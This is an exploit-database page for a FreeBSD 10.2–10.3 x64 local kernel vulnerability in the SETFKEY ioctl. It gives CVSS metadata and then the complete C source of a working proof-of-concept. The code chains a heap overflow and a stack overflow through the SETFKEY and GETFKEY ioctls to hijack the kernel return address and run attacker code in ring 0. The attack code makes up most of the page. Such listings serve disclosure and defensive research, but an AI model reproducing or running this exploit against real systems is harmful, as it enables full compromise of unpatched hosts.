Exploitalert - Database of Exploits

FreeBSD 10.2 < 10.3 x64 SETFKEY (PoC)

CVE	Category	Price	Severity
	CWE-XX	Not specified	Not specified

Author	Risk	Exploitation Type	Date
Not specified	Not specified	Not specified	2018-03-01

CPE
cpe:cpe:/o:freebsd:freebsd:10.2

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018030008

FreeBSD 10.2 < 10.3 x64 SETFKEY (PoC)

#include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> int (*kprintf)(const char *fmt, ...); char *ostype; uint64_t originalRip; uint64_t originalRbp; void *resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue); return (void *)ksym.symvalue; } void payload(void) { kprintf(" [+] Entered kernel payload\n"); strcpy(ostype, "CTurt "); __asm__ volatile("swapgs; sysret"); } // Copy the stack onto the heap void heapOverflow(int index, size_t size) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = size; memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); } // Copy the heap onto the stack void stackOverflow(int index) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); } int main(void) { int result, i; fkeyarg_t fkey; uint32_t ripLower4 = 0x808312cd; // jmp rbp uint64_t rbp = (uint64_t)payload; kprintf = resolve("printf"); ostype = resolve("ostype"); printf(" [+] Set full length for key 10\n"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, SETFKEY, &fkey); printf(" [+] Set bad length and perform heap overflow\n"); heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4)); printf(" [+] Prepare stack overflow memory\n"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, GETFKEY, &fkey); originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4); originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12); printf(" [+] Original rip: %#lx\n", originalRip); printf(" [+] Original rbp: %#lx\n", originalRbp); *(uint64_t *)((char *)&fkey.keydef + 4) = rbp; *(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4; ioctl(0, SETFKEY, &fkey); printf(" [+] Trigger stack overflow\n"); fflush(stdout); stackOverflow(0); return 0; }

Impressum